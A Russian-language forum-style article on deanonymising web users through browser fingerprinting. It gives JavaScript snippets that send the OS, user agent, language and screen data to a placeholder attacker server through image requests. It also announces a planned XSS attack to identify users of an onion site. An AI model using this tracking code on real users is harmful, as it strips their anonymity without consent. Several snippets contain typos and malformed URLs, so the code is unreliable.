Деанонимизация - это нарушение анонимности, когда о вас узнают, то что вы скрывали начиная от ip адреса, заканчивая Именем и Фамилией. Все мы оставляем некие цифровые следы или как их еще называют кибер тень. Это информация о нас как долго мы находились в сети, наши куки, информация о разрешении нашего монитора, установленных в системе шрифтов, часового пояса, какие плагины установлены в вашем браузере. Из всех полученных данных составляют цифровой след. Далее идет система мониторинга, т.е идет сравнение следа, где и какие сайты вы посещали. Соглашусь, что звучит это как-то нереально, это действительно рабочий способ, давно применяемый на практике. Итак, давайте приступим к написания скрипта.
Первое, что нам нужно узнать - это OC:
JavaScript:
var pic = new Image();
pic.src = 'http:Youserver//?info='+navigator.platform; // OC
JavaScript:
pic.src ='http:Youserver//?info='+ navigator.appName //Имя браузера
pic.src = 'http:Youserver//?info='+ navigator.userAgent //Агент пользователя
pic.src = 'http:Youserver//?info='+ navigator.appVersion //Версия броузера
pic.src = 'http:Youserver//?info='+ lnavigator.language //Язык системы
JavaScript:
pic.src = +screen.width //Ширина монитора
pic.scr = 'http:Youserver//?info='+screen.height //Высота монитора
pic.src = 'http:Youserver//?info='+screen.pixelDepth //Разрешение монитора
pic.src = 'http:Youserver//?info='+screen.colorDepth //Цетовая гамма
А этот код выведет оставшуюся информацию из объекта navigator:
JavaScript:
for(var prop in navigator) {
if (navigator[prop] instanceof Object || navigator[prop]==='') continue
conole.log(prop+": "+navigator[prop])
}
Код:
measureText() и getBoundingClientRect()


Noscript снизит риск всего на 50%. Так что сильно на него не надейтесь. Это была теоретическая статья и в следующей статье мы рассмотрим на практики, где в качестве цели будем идентифицировать пользователей уязвимого onion сайта. Пока насчет MITM атаки не знаю, но XSS будет точно.